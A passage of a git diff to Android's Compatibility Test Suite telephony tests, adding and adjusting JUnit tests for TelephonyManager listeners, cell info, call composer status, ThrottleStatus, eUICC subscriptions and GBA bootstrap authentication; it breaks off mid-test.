import static android.net.NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED;
import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
@@ -351,13 +352,12 @@
Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
// Cellular is metered by default
- assertFalse(cm.getNetworkCapabilities(net).hasCapability(
- NET_CAPABILITY_TEMPORARILY_NOT_METERED));
+ assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
// Override should make it go temporarily unmetered
{
final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
- return caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+ return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
});
mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
assertTrue(latch.await(10, TimeUnit.SECONDS));
@@ -366,7 +366,7 @@
// Clearing override should make it go metered
{
final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
- return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+ return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
});
mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
assertTrue(latch.await(10, TimeUnit.SECONDS));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index e32b9f8..982162a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,6 +16,8 @@
package android.telephony.cts;
+import static android.app.AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER;
+
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static com.google.common.truth.Truth.assertThat;
@@ -30,6 +32,7 @@
import android.Manifest.permission;
import android.annotation.NonNull;
+import android.app.AppOpsManager;
import android.app.UiAutomation;
import android.bluetooth.BluetoothAdapter;
import android.content.BroadcastReceiver;
@@ -58,6 +61,9 @@
import android.telephony.CallQuality;
import android.telephony.CarrierBandwidth;
import android.telephony.CarrierConfigManager;
+import android.telephony.CellIdentity;
+import android.telephony.CellIdentityLte;
+import android.telephony.CellIdentityNr;
import android.telephony.CellInfo;
import android.telephony.CellLocation;
import android.telephony.DataThrottlingRequest;
@@ -68,6 +74,7 @@
import android.telephony.PreciseCallState;
import android.telephony.RadioAccessFamily;
import android.telephony.ServiceState;
+import android.telephony.SignalStrength;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
@@ -126,6 +133,7 @@
private PackageManager mPackageManager;
private boolean mOnCellLocationChangedCalled = false;
private boolean mOnCellInfoChanged = false;
+ private boolean mOnSignalStrengthsChanged = false;
private boolean mServiceStateChangedCalled = false;
private boolean mRadioRebootTriggered = false;
private boolean mHasRadioPowerOff = false;
@@ -182,6 +190,7 @@
private static final String TESTING_PLMN = "12345";
private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
+ private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
static {
@@ -261,7 +270,7 @@
@After
public void tearDown() throws Exception {
- if (mListener != null) {
+ if (mListener != null && mListener.isExecutorSet()) {
// unregister the listener
mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
}
@@ -389,6 +398,25 @@
// expected
}
}
+
+ @Test
+ public void testListenFailWithNonLooper() throws Throwable {
+ if (!InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+ return;
+ }
+
+ mListener = new PhoneStateListener();
+ try {
+ // .listen generates an onCellLocationChanged event
+ mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+ fail("PhoneStateListener created from a thread without looper should " +
+ "trigger IllegalStateException.");
+ } catch (IllegalStateException e) {
+ }
+ }
+
@Test
public void testListen() throws Throwable {
if (!InstrumentationRegistry.getContext().getPackageManager()
@@ -582,6 +610,20 @@
mTelephonyManager.getDefaultRespondViaMessageApplication();
ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
+
+ // Verify getImei/getSubscriberId/getIccAuthentication:
+ // With app ops permision USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, should not throw
+ // SecurityException.
+ try {
+ setAppOpsPermissionAllowed(true, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+
+ mTelephonyManager.getImei();
+ mTelephonyManager.getSubscriberId();
+ mTelephonyManager.getIccAuthentication(
+ TelephonyManager.APPTYPE_USIM, TelephonyManager.AUTHTYPE_EAP_AKA, "");
+ } finally {
+ setAppOpsPermissionAllowed(false, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+ }
}
@Test
@@ -2155,6 +2197,59 @@
}
/**
+ * Tests TelephonyManager.setCallComposerStatus and TelephonyManager.getCallComposerStatus.
+ */
+ @Test
+ public void testSetGetCallComposerStatus() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ boolean hasImsFeature = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_IMS);
+
+ if (hasImsFeature) {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+ int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(
+ TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+ status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+ status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON);
+ } else {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+ int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+ status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ tm -> tm.setCallComposerStatus(
+ TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+ status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ tm -> tm.getCallComposerStatus());
+ assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+ }
+ }
+
+ /**
* Tests {@link TelephonyManager#getSupportedRadioAccessFamily()}
*/
@Test
@@ -3131,7 +3226,8 @@
@Test
public void testCdmaRoamingMode() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+ || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
return;
}
@@ -3157,7 +3253,8 @@
@Test
public void testCdmaSubscriptionMode() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+ || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
return;
}
@@ -3178,7 +3275,7 @@
// Reset state
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- tm -> tm.setCdmaRoamingMode(cdmaSubscriptionMode));
+ tm -> tm.setCdmaSubscriptionMode(cdmaSubscriptionMode));
}
@Test
@@ -3230,10 +3327,6 @@
(tm) -> tm.getCarrierBandwidth());
if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
assertTrue(bandwidth != null);
- assertTrue(bandwidth.getPrimaryDownlinkCapacityKbps()
- != CarrierBandwidth.INVALID);
- assertTrue(bandwidth.getPrimaryUplinkCapacityKbps()
- != CarrierBandwidth.INVALID);
}
}
@@ -3355,6 +3448,40 @@
assertFalse(mTelephonyManager.isRadioInterfaceCapabilitySupported(""));
}
+ @Test
+ public void testGetAllCellInfo() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) return;
+
+ // For IRadio <1.5, just verify that calling the method doesn't throw an error.
+ if (mRadioVersion < RADIO_HAL_VERSION_1_5) {
+ mTelephonyManager.getAllCellInfo();
+ return;
+ }
+
+ for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
+ CellIdentity cellIdentity = cellInfo.getCellIdentity();
+ int[] bands;
+ if (cellIdentity instanceof CellIdentityLte) {
+ bands = ((CellIdentityLte) cellIdentity).getBands();
+ for (int band : bands) {
+ assertTrue(band >= AccessNetworkConstants.EutranBand.BAND_1
+ && band <= AccessNetworkConstants.EutranBand.BAND_88);
+ }
+ } else if (cellIdentity instanceof CellIdentityNr) {
+ bands = ((CellIdentityNr) cellIdentity).getBands();
+ for (int band : bands) {
+ assertTrue((band >= AccessNetworkConstants.NgranBands.BAND_1
+ && band <= AccessNetworkConstants.NgranBands.BAND_95)
+ || (band >= AccessNetworkConstants.NgranBands.BAND_257
+ && band <= AccessNetworkConstants.NgranBands.BAND_261));
+ }
+ } else {
+ continue;
+ }
+ assertTrue(bands.length > 0);
+ }
+ }
+
/**
* Validate Emergency Number address that only contains the dialable character.
*
@@ -3582,6 +3709,59 @@
return major * 100 + minor;
}
+ private Executor mSimpleExecutor = new Executor() {
+ @Override
+ public void execute(Runnable r) {
+ r.run();
+ }
+ };
+
+ private static MockSignalStrengthsPhoneStateListener mMockSignalStrengthsPhoneStateListener;
+
+ private class MockSignalStrengthsPhoneStateListener extends PhoneStateListener
+ implements PhoneStateListener.SignalStrengthsChangedListener {
+ @Override
+ public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+ if (!mOnSignalStrengthsChanged) {
+ synchronized (mLock) {
+ mOnSignalStrengthsChanged = true;
+ mLock.notify();
+ }
+ }
+ }
+ }
+
+ @Test
+ public void testRegisterPhoneStateListenerWithNonLooper() throws Throwable {
+ if (!InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+ return;
+ }
+
+ mMockSignalStrengthsPhoneStateListener = new MockSignalStrengthsPhoneStateListener();
+
+ // Test register, generates an mOnSignalStrengthsChanged event
+ mTelephonyManager.registerPhoneStateListener(mSimpleExecutor,
+ mMockSignalStrengthsPhoneStateListener);
+
+ synchronized (mLock) {
+ if (!mOnSignalStrengthsChanged) {
+ mLock.wait(TOLERANCE);
+ }
+ }
+ assertTrue("Test register, mOnSignalStrengthsChanged should be true.",
+ mOnSignalStrengthsChanged);
+
+ // Test unregister
+ mOnSignalStrengthsChanged = false;
+ // unregister again, to make sure doing so does not call the listener
+ mTelephonyManager.unregisterPhoneStateListener(mMockSignalStrengthsPhoneStateListener);
+
+ assertFalse("Test unregister, mOnSignalStrengthsChanged should be false.",
+ mOnSignalStrengthsChanged);
+ }
+
private static MockPhoneStateListener mMockPhoneStateListener;
private class MockPhoneStateListener extends PhoneStateListener
@@ -3616,7 +3796,7 @@
Looper.prepare();
mMockPhoneStateListener = new MockPhoneStateListener();
synchronized (mLock) {
- mLock.notify(); // mListener is ready
+ mLock.notify(); // listener is ready
}
Looper.loop();
@@ -3625,14 +3805,13 @@
synchronized (mLock) {
t.start();
- mLock.wait(TOLERANCE); // wait for mListener
+ mLock.wait(TOLERANCE); // wait for listener
}
// Test register
synchronized (mLock) {
- // .listen generates an onCellLocationChanged event
- mTelephonyManager.registerPhoneStateListener(getContext().getMainExecutor(),
- mMockPhoneStateListener);
+ // .registerPhoneStateListener generates an onCellLocationChanged event
+ mTelephonyManager.registerPhoneStateListener(mSimpleExecutor, mMockPhoneStateListener);
mLock.wait(TOLERANCE);
assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -3643,7 +3822,7 @@
mOnCellInfoChanged = false;
CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
- mTelephonyManager.requestCellInfoUpdate(getContext().getMainExecutor(), resultsCallback);
+ mTelephonyManager.requestCellInfoUpdate(mSimpleExecutor, resultsCallback);
mLock.wait(TOLERANCE);
assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -3682,5 +3861,12 @@
}
}
}
+
+ private void setAppOpsPermissionAllowed(boolean allowed, String op) {
+ AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+ int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index b702805..59654f1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -24,6 +24,7 @@
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
+import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.function.BooleanSupplier;
@@ -68,6 +69,25 @@
return simOperator != null && simOperator.equals(operator);
}
+ public static String parseErrorCodeToString(int errorCode,
+ Class<?> containingClass, String prefix) {
+ for (Field field : containingClass.getDeclaredFields()) {
+ if (field.getName().startsWith(prefix)) {
+ if (field.getType() == Integer.TYPE) {
+ field.setAccessible(true);
+ try {
+ if (field.getInt(null) == errorCode) {
+ return field.getName();
+ }
+ } catch (IllegalAccessException e) {
+ continue;
+ }
+ }
+ }
+ }
+ return String.format("??%d??", errorCode);
+ }
+
/**
* Executes the given shell command and returns the output in a string. Note that even
* if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java
new file mode 100644
index 0000000..ff622e7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.data.ApnSetting;
+import android.telephony.data.ThrottleStatus;
+
+import org.junit.Test;
+
+public class ThrottleStatusTest {
+
+ private static final int SLOT_INDEX = 10;
+ private static final int TRANSPORT_TYPE = AccessNetworkConstants.TRANSPORT_TYPE_WWAN;
+ private static final int APN_TYPE = ApnSetting.TYPE_IMS;
+ private static final int THROTTLE_TYPE = ThrottleStatus.THROTTLE_TYPE_ELAPSED_TIME;
+ private static final long THROTTLE_EXPIRY_TIME_MILLIS = 5005;
+ private static final int RETRY_TYPE = ThrottleStatus.RETRY_TYPE_NEW_CONNECTION;
+
+ @Test
+ public void testBuilderAndGetters() {
+
+ ThrottleStatus status = new ThrottleStatus.Builder()
+ .setSlotIndex(SLOT_INDEX)
+ .setTransportType(TRANSPORT_TYPE)
+ .setApnType(APN_TYPE)
+ .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+ .setRetryType(RETRY_TYPE)
+ .build();
+
+ assertEquals(SLOT_INDEX, status.getSlotIndex());
+ assertEquals(TRANSPORT_TYPE, status.getTransportType());
+ assertEquals(APN_TYPE, status.getApnType());
+ assertEquals(THROTTLE_TYPE, status.getThrottleType());
+ assertEquals(THROTTLE_EXPIRY_TIME_MILLIS, status.getThrottleExpiryTimeMillis());
+ assertEquals(RETRY_TYPE, status.getRetryType());
+ }
+
+ @Test
+ public void testEquals() {
+
+ ThrottleStatus status1 = new ThrottleStatus.Builder()
+ .setSlotIndex(SLOT_INDEX)
+ .setTransportType(TRANSPORT_TYPE)
+ .setApnType(APN_TYPE)
+ .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+ .setRetryType(RETRY_TYPE)
+ .build();
+ ThrottleStatus status2 = new ThrottleStatus.Builder()
+ .setSlotIndex(SLOT_INDEX)
+ .setTransportType(TRANSPORT_TYPE)
+ .setApnType(APN_TYPE)
+ .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+ .setRetryType(RETRY_TYPE)
+ .build();
+
+ assertEquals(status1, status2);
+ }
+
+ @Test
+ public void testNotEquals() {
+ ThrottleStatus status1 = new ThrottleStatus.Builder()
+ .setSlotIndex(SLOT_INDEX)
+ .setTransportType(TRANSPORT_TYPE)
+ .setApnType(APN_TYPE)
+ .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+ .setRetryType(RETRY_TYPE)
+ .build();
+ ThrottleStatus status2 = new ThrottleStatus.Builder()
+ .setSlotIndex(SLOT_INDEX)
+ .setTransportType(TRANSPORT_TYPE)
+ .setApnType(APN_TYPE)
+ .setNoThrottle()
+ .setRetryType(RETRY_TYPE)
+ .build();
+ assertNotEquals(status1, status2);
+ }
+
+ @Test
+ public void testParcel() {
+ ThrottleStatus status = new ThrottleStatus.Builder()
+ .setSlotIndex(SLOT_INDEX)
+ .setTransportType(TRANSPORT_TYPE)
+ .setApnType(APN_TYPE)
+ .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+ .setRetryType(RETRY_TYPE)
+ .build();
+
+ Parcel stateParcel = Parcel.obtain();
+ status.writeToParcel(stateParcel, 0);
+ stateParcel.setDataPosition(0);
+
+ ThrottleStatus postParcel = ThrottleStatus.CREATOR.createFromParcel(stateParcel);
+ assertEquals(status, postParcel);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
index 9afa104..bb3a9ea 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
@@ -45,6 +45,19 @@
}
@Test
+ public void testDownloadableSubscriptionBuilder() {
+ final String confirmationCode = "fake confirmation code";
+ DownloadableSubscription downloadableSubscription =
+ new DownloadableSubscription.Builder(ACTIVATION_CODE)
+ .setConfirmationCode(confirmationCode)
+ .build();
+
+ assertNotNull(downloadableSubscription);
+ assertEquals(ACTIVATION_CODE, downloadableSubscription.getEncodedActivationCode());
+ assertEquals(confirmationCode, downloadableSubscription.getConfirmationCode());
+ }
+
+ @Test
public void testGetEncodedActivationCode() {
assertNotNull(mDownloadableSubscription);
assertEquals(ACTIVATION_CODE, mDownloadableSubscription.getEncodedActivationCode());
@@ -72,15 +85,15 @@
// write object to parcel
Parcel parcel = Parcel.obtain();
- mDownloadableSubscription.writeToParcel(parcel,
- mDownloadableSubscription.describeContents());
+ mDownloadableSubscription.writeToParcel(
+ parcel, mDownloadableSubscription.describeContents());
// extract object from parcel
parcel.setDataPosition(0 /* pos */);
DownloadableSubscription downloadableSubscriptionFromParcel =
DownloadableSubscription.CREATOR.createFromParcel(parcel);
- assertEquals(ACTIVATION_CODE,
- downloadableSubscriptionFromParcel.getEncodedActivationCode());
+ assertEquals(
+ ACTIVATION_CODE, downloadableSubscriptionFromParcel.getEncodedActivationCode());
// There is no way to set DownloadableSubscription#confirmationCode from here because
// Android P doesn't allow accessing a platform class's @hide methods or private fields
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 80cfc02..eae33de 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -481,7 +481,7 @@
private PendingIntent createCallbackIntent(String action) {
Intent intent = new Intent(action);
return PendingIntent.getBroadcast(
- getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+ getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
private static class CallbackReceiver extends BroadcastReceiver {
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
index 67b5116..c6f9ba7 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
@@ -74,7 +74,7 @@
getApplicationContext(),
0 /* requestCode */,
resolutionActivityIntent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
// add pending intent to extra
Intent resultIntent = new Intent();
@@ -93,7 +93,7 @@
private PendingIntent createCallbackIntent(String action) {
Intent intent = new Intent(action);
return PendingIntent.getBroadcast(
- getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+ getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
private void sendCallbackAndFinish(int resultCode) {
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
new file mode 100644
index 0000000..64a1538
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
@@ -0,0 +1,337 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+@RunWith(AndroidJUnit4.class)
+public final class GbaServiceTest {
+
+ private static final String TAG = "GbaServiceTest";
+
+ private static final String COMMAND_UPDATE_PACKAGE = "cmd phone gba set-service ";
+ private static final String COMMAND_UPDATE_RELEASE = "cmd phone gba set-release ";
+ private static final String COMMAND_GET_PACKAGE = "cmd phone gba get-service";
+ private static final String COMMAND_GET_RELEASE = "cmd phone gba get-release";
+ private static final String SERVICE_PACKAGE = "android.telephony.cts";
+ private static final String NAF = "3GPP-bootstrapping@naf1.operator.com";
+ private static final String BTID = "(B-TID)";
+ private static final int REQ_TIMEOUT = 5000;
+ private static final int RELEASE_DEFAULT = 0;
+ private static final int RELEASE_TEST_MS = 15 * 1000;
+ private static final int RELEASE_NEVER = -1;
+
+ private static int sSubId;
+ private static Instrumentation sInstrumentation;
+ private static TelephonyManager sTm;
+ private static TestGbaConfig sConfig;
+ private static String sServiceConfig;
+ private static int sReleaseTimeConfig;
+
+ @BeforeClass
+ public static void init() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ sConfig = TestGbaConfig.getInstance();
+ sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ sTm = sInstrumentation.getContext().getSystemService(TelephonyManager.class);
+ sServiceConfig = TelephonyUtils.executeShellCommand(
+ sInstrumentation, COMMAND_GET_PACKAGE);
+ sReleaseTimeConfig = Integer.parseInt(TelephonyUtils.executeShellCommand(
+ sInstrumentation, COMMAND_GET_RELEASE));
+ }
+
+ @AfterClass
+ public static void release() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ setService(sServiceConfig);
+ setReleaseTime(sReleaseTimeConfig);
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ setService(SERVICE_PACKAGE);
+ setReleaseTime(RELEASE_DEFAULT);
+ }
+
+ @Test (expected = SecurityException.class)
+ public void testPermissions() {
+ if (!isFeatureSupported()) {
+ throw new SecurityException("Feaure is not supported");
+ }
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+ android.Manifest.permission.READ_PHONE_STATE);
+ }
+
+ @Test
+ public void testAuthSuccess() {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ Random rand = new Random();
+
+ for (int i = 0; i < 20; i++) {
+ Log.d(TAG, "testAuthSuccess[" + i + "]");
+ byte[] key = new byte[16];
+ rand.nextBytes(key);
+ sConfig.setConfig(true, key, BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+ final AtomicBoolean isSuccess = new AtomicBoolean(false);
+ final AtomicBoolean isFail = new AtomicBoolean(false);
+ TelephonyManager.BootstrapAuthenticationCallback cb = new
+ TelephonyManager.BootstrapAuthenticationCallback() {
+ @Override
+ public void onKeysAvailable(byte[] gbaKey, String btId) {
+ assertNotNull(gbaKey);
+ assertNotNull(btId);
+ assertArrayEquals(key, gbaKey);
+ assertEquals(BTID, btId);
+ synchronized (isSuccess) {
+ isSuccess.set(true);
+ isSuccess.notify();
+ }
+ }
+
+ @Override
+ public void onAuthenticationFailure(int reason) {
+ synchronized (isSuccess) {
+ isFail.set(true);
+ isSuccess.notify();
+ }
+ }
+ };
+ UaSecurityProtocolIdentifier.Builder builder =
+ new UaSecurityProtocolIdentifier.Builder();
+ builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+ UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+ (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+ Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb),
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+ waitForMs(isSuccess, REQ_TIMEOUT);
+
+ assertTrue(isSuccess.get());
+ assertFalse(isFail.get());
+ }
+ }
+
+ @Test
+ public void testGbaNotSupported() throws Exception {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
+ setService("");
+ sConfig.setConfig(true, new byte[16], BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+ runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+ android.Manifest.permission.MODIFY_PHONE_STATE);
+
+ assertTrue(setService(SERVICE_PACKAGE));
+ }
+
+ @Test
+ public void testAuthFail() {
+ if (!isFeatureSupported()) {
+ return;
+ }
+
